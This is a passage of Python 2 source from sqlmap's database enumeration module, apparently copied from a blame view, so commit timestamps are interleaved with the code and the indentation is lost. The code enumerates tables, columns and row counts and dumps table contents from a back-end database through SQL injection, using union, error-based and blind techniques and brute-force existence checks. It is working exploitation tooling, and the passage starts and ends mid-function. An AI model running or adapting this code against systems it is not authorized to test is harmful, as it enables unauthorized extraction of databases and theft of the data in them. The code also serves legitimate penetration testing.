for db in dbs:
dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)
2010-11-02 14:06:47 +03:00
if bruteForce:
resumeAvailable = False
2011-01-12 00:46:21 +03:00
for db, table in kb.brute.tables:
if db == conf.db:
resumeAvailable = True
break
if resumeAvailable:
for db, table in kb.brute.tables:
if db == conf.db:
if not kb.data.cachedTables.has_key(conf.db):
kb.data.cachedTables[conf.db] = [table]
else:
kb.data.cachedTables[conf.db].append(table)
return kb.data.cachedTables
message = "do you want to use common table existence check? [Y/n/q]"
2010-09-30 23:45:23 +04:00
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
2010-10-29 13:00:51 +04:00
else:
2010-11-09 12:42:43 +03:00
return tableExists(paths.COMMON_TABLES)
2008-10-15 19:38:22 +04:00
infoMsg = "fetching tables for database"
infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db for db in dbs))
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].tables
2008-10-15 19:38:22 +04:00
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
query = rootQuery.inband.query
2010-12-22 14:46:18 +03:00
condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None
2008-10-15 19:38:22 +04:00
2010-12-22 14:46:18 +03:00
if condition:
if conf.excludeSysDbs:
2008-10-15 19:38:22 +04:00
query += " WHERE "
2011-03-30 01:54:15 +04:00
query += " AND ".join("%s != '%s'" % (condition, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList)
infoMsg = "skipping system database%s: %s" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
2010-12-22 14:46:18 +03:00
logger.info(infoMsg)
elif not Backend.isDbms(DBMS.SQLITE):
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, unsafeSQLIdentificatorNaming(db)) for db in sorted(dbs))
2008-10-15 19:38:22 +04:00
if Backend.isDbms(DBMS.MSSQL):
2010-12-22 14:46:18 +03:00
query = safeStringFormat(query, conf.db)
value = inject.getValue(query, blind=False)
2011-02-04 16:29:02 +03:00
value = filter(lambda x: x, value)
if not isNoneValue(value):
if Backend.isDbms(DBMS.SQLITE):
if isinstance(value, basestring):
2010-11-02 14:59:24 +03:00
value = [[ DBMS.SQLITE, value ]]
elif isinstance(value, (list, tuple, set)):
newValue = []
for v in value:
2010-11-02 14:59:24 +03:00
newValue.append([ DBMS.SQLITE, v])
value = newValue
2008-10-15 19:38:22 +04:00
for db, table in value:
2011-03-30 01:54:15 +04:00
db = safeSQLIdentificatorNaming(db)
table = safeSQLIdentificatorNaming(table, True)
if not kb.data.cachedTables.has_key(db):
kb.data.cachedTables[db] = [table]
2008-10-15 19:38:22 +04:00
else:
kb.data.cachedTables[db].append(table)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedTables and not conf.direct:
2008-10-15 19:38:22 +04:00
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
continue
2011-04-30 17:20:05 +04:00
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % db
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS):
query = rootQuery.blind.count
else:
2011-03-30 01:54:15 +04:00
query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
2011-04-30 17:20:05 +04:00
warnMsg = "unable to retrieve the number of "
2008-10-15 19:38:22 +04:00
warnMsg += "tables for database '%s'" % db
logger.warn(warnMsg)
continue
tables = []
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
plusOne = True
else:
plusOne = False
2010-05-30 18:53:13 +04:00
indexRange = getRange(count, plusOne=plusOne)
2008-10-15 19:38:22 +04:00
for index in indexRange:
if Backend.isDbms(DBMS.SYBASE):
query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS):
2010-11-03 01:11:45 +03:00
query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
query = rootQuery.blind.query % index
else:
2011-03-30 01:54:15 +04:00
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index)
table = inject.getValue(query, inband=False, error=False)
kb.hintValue = table
2011-03-30 01:54:15 +04:00
table = safeSQLIdentificatorNaming(table, True)
tables.append(table)
2008-10-15 19:38:22 +04:00
if tables:
kb.data.cachedTables[db] = tables
2008-10-15 19:38:22 +04:00
else:
warnMsg = "unable to retrieve the table names "
2008-10-15 19:38:22 +04:00
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if isNoneValue(kb.data.cachedTables):
kb.data.cachedTables.clear()
if not kb.data.cachedTables:
errMsg = "unable to retrieve the table names for any database"
if bruteForce is None:
logger.error(errMsg)
return self.getTables(bruteForce=True)
else:
raise sqlmapNoneDataException, errMsg
2008-10-15 19:38:22 +04:00
return kb.data.cachedTables
2008-10-15 19:38:22 +04:00
2011-06-24 13:27:54 +04:00
def getColumns(self, onlyColNames=False, colTuple=None):
self.forceDbmsEnum()
if conf.db is None or conf.db == "CD":
if conf.db is None:
warnMsg = "missing database parameter, sqlmap is going "
warnMsg += "to use the current database to enumerate "
warnMsg += "table(s) columns"
logger.warn(warnMsg)
2010-12-30 11:29:20 +03:00
conf.db = self.getCurrentDb()
2010-12-30 11:29:20 +03:00
elif conf.db is not None:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise sqlmapMissingMandatoryOptionException, errMsg
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.col:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.col = conf.col.upper()
colList = conf.col.split(",")
else:
colList = []
for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
if conf.tbl:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.tbl = conf.tbl.upper()
tblList = conf.tbl.split(",")
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
tblList = kb.data.cachedTables.values()
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
else:
errMsg = "unable to retrieve the tables"
errMsg += "on database '%s'" % conf.db
raise sqlmapNoneDataException, errMsg
for tbl in tblList:
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
bruteForce = False
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
2011-04-30 17:20:05 +04:00
errMsg = "information_schema not available, "
2008-10-15 19:38:22 +04:00
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.isDbms(DBMS.ACCESS):
2011-04-30 17:20:05 +04:00
errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
if bruteForce:
resumeAvailable = False
2011-01-12 00:46:21 +03:00
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
resumeAvailable = True
break
if resumeAvailable or colList:
columns = {}
for column in colList:
columns[column] = None
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
columns[colName] = colType
if conf.db in kb.data.cachedColumns:
2011-06-16 17:41:02 +04:00
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
2011-06-16 17:41:02 +04:00
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns}
2011-01-12 00:46:21 +03:00
return kb.data.cachedColumns
message = "do you want to use common columns existence check? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
return columnExists(paths.COMMON_COLUMNS)
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].columns
condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % conf.db
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
return { conf.db: kb.data.cachedColumns[conf.db]}
2008-10-15 19:38:22 +04:00
infoMsg = "fetching columns "
if len(colList) > 0:
2011-06-24 13:27:54 +04:00
if colTuple is None:
colConsider, colCondParam = self.likeOrExact("column")
else:
colConsider, colCondParam = colTuple
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
if colConsider == "1":
infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
else:
infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
else:
condQuery = ""
infoMsg += "for table '%s' " % tbl
infoMsg += "on database '%s'" % conf.db
logger.info(infoMsg)
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in ( DBMS.ORACLE, DBMS.DB2):
query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(tbl.upper())
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
2011-06-24 13:27:54 +04:00
query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db,
conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl))
query += condQuery.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.inband.query % tbl
2008-10-15 19:38:22 +04:00
value = inject.getValue(query, blind=False)
2008-10-15 19:38:22 +04:00
if Backend.isDbms(DBMS.SQLITE):
parseSqliteTableSchema(value)
elif not isNoneValue(value):
table = {}
columns = {}
2011-02-19 17:56:58 +03:00
for columnData in value:
if not isNoneValue(columnData):
name = safeSQLIdentificatorNaming(columnData[0])
2011-02-19 17:56:58 +03:00
if len(columnData) == 1:
columns[name] = ""
else:
columns[name] = columnData[1]
2011-02-19 17:56:58 +03:00
if conf.db in kb.data.cachedColumns:
2011-06-16 17:41:02 +04:00
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
2011-06-16 17:41:02 +04:00
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
2011-02-19 17:56:58 +03:00
if not kb.data.cachedColumns and not conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % conf.db
logger.info(infoMsg)
2011-02-19 17:56:58 +03:00
return { conf.db: kb.data.cachedColumns[conf.db]}
2008-10-15 19:38:22 +04:00
infoMsg = "fetching columns "
2008-10-15 19:38:22 +04:00
if len(colList) > 0:
condQuery = " AND (%s)" % " OR ".join("%s LIKE '%%%s%%'" % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
likeMsg = "like '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
infoMsg += likeMsg
else:
condQuery = ""
likeMsg = ""
infoMsg += "for table '%s' " % tbl
infoMsg += "on database '%s'" % conf.db
logger.info(infoMsg)
countMsg = "fetching number of columns %s" % likeMsg
countMsg += "for table '%s'" % tbl
countMsg += " on database '%s'" % conf.db
logger.info(countMsg)
2008-10-15 19:38:22 +04:00
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(tbl.upper())
query += condQuery
elif Backend.getIdentifiedDbms() in DBMS.MSSQL:
query = rootQuery.blind.count % (conf.db, conf.db, \
unsafeSQLIdentificatorNaming(tbl))
query += condQuery.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.count % (tbl)
query += condQuery
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.blind.query % tbl
value = inject.getValue(query, inband=False, error=False)
parseSqliteTableSchema(value)
return kb.data.cachedColumns
2008-10-15 19:38:22 +04:00
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
errMsg = "unable to retrieve the number of columns "
errMsg += "for table '%s' " % tbl
errMsg += "on database '%s'" % conf.db
logger.error(errMsg)
continue
2008-10-15 19:38:22 +04:00
table = {}
columns = {}
indexRange = getRange(count)
for index in indexRange:
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
field = None
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl.upper())
query += condQuery
field = None
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
2011-06-24 13:27:54 +04:00
query = rootQuery.blind.query % (conf.db, conf.db, conf.db, conf.db,
conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl))
query += condQuery.replace("[DB]", conf.db)
field = condition.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (tbl)
query += condQuery
field = None
query = agent.limitQuery(index, query, field)
column = inject.getValue(query, inband=False, error=False)
if not onlyColNames:
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column)
elif Backend.isDbms(DBMS.MSSQL):
2011-06-24 13:27:54 +04:00
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db,
conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl))
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query2 % (tbl, column)
colType = inject.getValue(query, inband=False, error=False)
if Backend.isDbms(DBMS.FIREBIRD):
colType = firebirdTypes.get(colType, colType)
column = safeSQLIdentificatorNaming(column)
columns[column] = colType
else:
column = safeSQLIdentificatorNaming(column)
columns[column] = None
2008-10-15 19:38:22 +04:00
if columns:
if conf.db in kb.data.cachedColumns:
2011-06-16 17:41:02 +04:00
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
2011-06-16 17:41:02 +04:00
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
2008-10-15 19:38:22 +04:00
if not kb.data.cachedColumns:
errMsg = "unable to retrieve the columns for any "
errMsg += "table on database '%s'" % conf.db
logger.error(errMsg)
2008-10-15 19:38:22 +04:00
return kb.data.cachedColumns
2008-10-15 19:38:22 +04:00
2011-04-30 02:37:43 +04:00
def getSchema(self):
infoMsg = "enumerating database management system schema"
logger.info(infoMsg)
pushValue(conf.db)
pushValue(conf.tbl)
pushValue(conf.col)
2011-04-30 02:37:43 +04:00
conf.db = None
conf.tbl = None
conf.col = None
kb.data.cachedTables = {}
kb.data.cachedColumns = {}
2011-04-30 02:37:43 +04:00
self.getTables()
infoMsg = "fetched tables: "
infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \
2011-04-30 02:37:43 +04:00
Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \
else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \
2011-04-30 02:37:43 +04:00
kb.data.cachedTables.items()])
logger.info(infoMsg)
for db, tables in kb.data.cachedTables.items():
for tbl in tables:
conf.db = db
conf.tbl = tbl
self.getColumns()
conf.col = popValue()
2011-04-30 02:37:43 +04:00
conf.tbl = popValue()
conf.db = popValue()
return kb.data.cachedColumns
def __tableGetCount(self, db, table):
if Backend.isDbms(DBMS.DB2):
query = "SELECT COUNT(*) FROM %s.%s--" % (safeSQLIdentificatorNaming(db.upper()), safeSQLIdentificatorNaming(table.upper(), True))
else:
query = "SELECT COUNT(*) FROM %s.%s" % (safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True))
count = inject.getValue(query, expected=EXPECTED.INT, charsetType=2)
if count is not None and isinstance(count, basestring) and count.isdigit():
2011-06-16 17:41:02 +04:00
if safeSQLIdentificatorNaming(db) not in kb.data.cachedCounts:
kb.data.cachedCounts[safeSQLIdentificatorNaming(db)] = {}
2011-06-16 17:41:02 +04:00
if int(count) in kb.data.cachedCounts[safeSQLIdentificatorNaming(db)]:
kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)].append(safeSQLIdentificatorNaming(table, True))
else:
2011-06-16 17:41:02 +04:00
kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)] = [safeSQLIdentificatorNaming(table, True)]
def getCount(self):
if not conf.tbl:
warnMsg = "missing table parameter, sqlmap will retrieve "
warnMsg += "the number of entries for all database "
warnMsg += "management system databases' tables"
logger.warn(warnMsg)
elif "." in conf.tbl:
if not conf.db:
conf.db, conf.tbl = conf.tbl.split(".")
if conf.tbl is not None and conf.db is None:
warnMsg = "missing database parameter, sqlmap is going to "
warnMsg += "use the current database to retrieve the "
warnMsg += "number of entries for table '%s'" % conf.tbl
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
self.forceDbmsEnum()
if conf.tbl:
for table in conf.tbl.split(","):
self.__tableGetCount(conf.db, table)
else:
self.getTables()
for db, tables in kb.data.cachedTables.items():
for table in tables:
self.__tableGetCount(db, table)
return kb.data.cachedCounts
2011-02-19 17:56:58 +03:00
def __pivotDumpTable(self, table, colList, count=None, blind=True):
2011-02-19 03:36:47 +03:00
lengths = {}
entries = {}
2011-02-19 17:56:58 +03:00
dumpNode = queries[Backend.getIdentifiedDbms()].dump_table.blind
2011-02-19 03:36:47 +03:00
validColumnList = False
validPivotValue = False
2011-02-19 17:56:58 +03:00
if not count:
query = dumpNode.count % table
if blind:
count = inject.getValue(query, inband=False, error=False)
else:
count = inject.getValue(query, blind=False)
2011-05-23 23:16:29 +04:00
if count == "0":
infoMsg = "table '%s' appears to be empty" % table
logger.info(infoMsg)
2011-05-23 23:16:29 +04:00
for column in colList:
lengths[column] = len(column)
entries[column] = []
return entries, lengths
elif not count:
return None
for column in colList:
lengths[column] = 0
entries[column] = []
colList = sorted(colList, key=lambda x: len(x) if x else MAX_INT)
2011-02-19 12:40:41 +03:00
for column in colList:
infoMsg = "fetching number of distinct "
infoMsg += "values for column '%s'" % column
logger.info(infoMsg)
2011-02-19 03:36:47 +03:00
2011-02-19 12:40:41 +03:00
query = dumpNode.count2 % (column, table)
2011-02-19 12:40:41 +03:00
if blind:
value = inject.getValue(query, inband=False, error=False)
else:
value = inject.getValue(query, blind=False)
2011-02-19 03:36:47 +03:00
2011-02-19 12:40:41 +03:00
if isNumPosStrValue(value):
validColumnList = True
2011-02-19 12:40:41 +03:00
if value == count:
infoMsg = "using column '%s' as a pivot " % column
infoMsg += "for retrieving row data"
logger.info(infoMsg)
2011-02-19 03:36:47 +03:00
2011-02-19 12:40:41 +03:00
validPivotValue = True
2011-02-19 03:36:47 +03:00
2011-02-19 12:40:41 +03:00
colList.remove(column)
colList.insert(0, column)
break
2011-02-19 03:36:47 +03:00
if not validColumnList:
errMsg = "all column name(s) provided are non-existent"
raise sqlmapNoneDataException, errMsg
if not validPivotValue:
warnMsg = "no proper pivot column provided (with unique values)."
warnMsg += " all rows can't be retrieved."
logger.warn(warnMsg)
pivotValue = " "
breakRetrieval = False
try:
for i in xrange(int(count)):
if breakRetrieval:
break
2011-02-19 03:36:47 +03:00
for column in colList:
if column == colList[0]:
# Correction for pivotValues with unrecognized chars
if pivotValue and '?' in pivotValue and pivotValue[0] != '?':
pivotValue = pivotValue.split('?')[0]
pivotValue = pivotValue[:-1] + chr(ord(pivotValue[-1]) + 1)
query = dumpNode.query % (column, table, column, pivotValue)
else:
query = dumpNode.query2 % (column, table, colList[0], pivotValue)
if blind:
value = inject.getValue(query, inband=False, error=False)
2011-02-19 03:36:47 +03:00
else:
value = inject.getValue(query, blind=False)
if column == colList[0]:
2011-06-15 23:03:37 +04:00
if isNoneValue(value) or not value:
breakRetrieval = True
break
else:
pivotValue = safechardecode(value)
if all([conf.limitStart, conf.limitStop]):
if (i + 1) < conf.limitStart:
2011-05-26 19:23:28 +04:00
warnMsg = "skipping first %d pivot " % conf.limitStart
warnMsg += "point values"
2011-06-08 18:35:23 +04:00
singleTimeWarnMessage(warnMsg)
break
elif (i + 1) > conf.limitStop:
breakRetrieval = True
break
2011-06-15 23:03:37 +04:00
value = "" if isNoneValue(value) else value
lengths[column] = max(lengths[column], len(value) if value else 0)
entries[column].append(value)
except KeyboardInterrupt:
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
2011-02-19 03:36:47 +03:00
except sqlmapConnectionException, e:
errMsg = "connection exception detected. sqlmap "
errMsg += "will display partial output"
errMsg += "'%s'" % e
logger.critical(errMsg)
2011-02-19 03:36:47 +03:00
2011-02-19 12:36:57 +03:00
return entries, lengths
2011-06-24 13:27:54 +04:00
def dumpTable(self, foundData=None):
self.forceDbmsEnum()
if conf.db is None or conf.db == "CD":
if conf.db is None:
warnMsg = "missing database parameter, sqlmap is going "
warnMsg += "to use the current database to enumerate "
warnMsg += "table(s) entries"
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
elif conf.db is not None:
if Backend.isDbms(DBMS.ORACLE):
conf.db = conf.db.upper()
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise sqlmapMissingMandatoryOptionException, errMsg
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.tbl:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.tbl = conf.tbl.upper()
tblList = conf.tbl.split(",")
else:
self.getTables()
2010-12-18 01:23:01 +03:00
if len(kb.data.cachedTables) > 0:
tblList = kb.data.cachedTables.values()
2010-12-18 01:23:01 +03:00
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
else:
errMsg = "unable to retrieve the tables"
errMsg += "on database '%s'" % conf.db
raise sqlmapNoneDataException, errMsg
for tbl in tblList:
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
for tbl in tblList:
conf.tbl = tbl
kb.data.dumpedTable = {}
2011-06-24 13:27:54 +04:00
if foundData is None:
kb.data.cachedColumns = {}
self.getColumns(onlyColNames=True)
else:
kb.data.cachedColumns = foundData
try:
2011-06-16 17:41:02 +04:00
if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \
or safeSQLIdentificatorNaming(tbl, True) not in \
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \
or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
warnMsg = "unable to enumerate the columns for table "
warnMsg += "'%s' on database" % unsafeSQLIdentificatorNaming(tbl)
warnMsg += " '%s', skipping" % unsafeSQLIdentificatorNaming(conf.db)
logger.warn(warnMsg)
continue
2011-06-16 17:41:02 +04:00
colList = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)].keys()
colString = ", ".join(column for column in colList)
rootQuery = queries[Backend.getIdentifiedDbms()].dump_table
infoMsg = "fetching"
if conf.col:
infoMsg += " column(s) '%s'" % colString
infoMsg += " entries for table '%s'" % unsafeSQLIdentificatorNaming(tbl)
infoMsg += " on database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
entriesCount = 0
if any([isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION), isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR), conf.direct]):
entries = []
query = None
if all([Backend.isDbms(DBMS.MYSQL), isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR), conf.groupConcat]):
randStr, randStr2 = randomStr(), randomStr()
filterFunction = "REPLACE(REPLACE(IFNULL(%s, ' '),'%s','%s'),'%s','%s')"\
% ('%s', CONCAT_VALUE_DELIMITER, randStr, CONCAT_ROW_DELIMITER, randStr2)
concats = ",".join(map(lambda x: "CONCAT(%s, '|')" % (filterFunction % x), colList[:-1]))
concats += ",%s" % (filterFunction % colList[-1])
query = "SELECT GROUP_CONCAT(%s) FROM %s.%s" % (concats, conf.db, tbl)
value = inject.getValue(query, blind=False)
if isinstance(value, basestring):
for line in value.split(CONCAT_ROW_DELIMITER):
row = line.split(CONCAT_VALUE_DELIMITER)
row = map(lambda x: x.replace(randStr, CONCAT_VALUE_DELIMITER).replace(randStr2, CONCAT_ROW_DELIMITER), row)
entries.append(row)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.inband.query % (colString, tbl)
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
# Partial inband and error
if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL):
table = "%s.%s" % (conf.db, tbl)
retVal = self.__pivotDumpTable(table, colList, blind=False)
if retVal:
entries, _ = retVal
entries = zip(*[entries[colName] for colName in colList])
else:
query = rootQuery.inband.query % (colString, conf.db, tbl)
else:
query = rootQuery.inband.query % (colString, conf.db, tbl)
if not entries and query:
entries = inject.getValue(query, blind=False, dump=True)
if isNoneValue(entries):
entries = []
elif isinstance(entries, basestring):
entries = [ entries ]
elif not isinstance(entries, (list, tuple)):
entries = []
entriesCount = len(entries)
index = 0
for column in colList:
colLen = len(column)
if not kb.data.dumpedTable.has_key(column):
kb.data.dumpedTable[column] = { "length": colLen, "values": [] }
for entry in entries:
if entry is None or len(entry) == 0:
continue
if isinstance(entry, basestring):
colEntry = entry
else:
colEntry = entry[index] if index < len(entry) else u''
colEntryLen = len(getUnicode(colEntry))
maxLen = max(colLen, colEntryLen)
if maxLen > kb.data.dumpedTable[column]["length"]:
kb.data.dumpedTable[column]["length"] = maxLen
kb.data.dumpedTable[column]["values"].append(colEntry)
index += 1
if not kb.data.dumpedTable and not conf.direct:
infoMsg = "fetching number of "
if conf.col:
2011-05-31 19:45:54 +04:00
infoMsg += "column(s) '%s' " % colString
infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
query = rootQuery.blind.count % tbl
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl))
elif Backend.isDbms(DBMS.MAXDB):
query = rootQuery.blind.count % tbl
else:
query = rootQuery.blind.count % (conf.db, tbl)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
lengths = {}
entries = {}
if count == "0":
warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "on database '%s' " % unsafeSQLIdentificatorNaming(conf.db)
warnMsg += "appears to be empty"
logger.warn(warnMsg)
for column in colList:
lengths[column] = len(column)
entries[column] = []
elif not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of "
if conf.col:
warnMsg += "columns '%s' " % colString
warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.warn(warnMsg)
continue
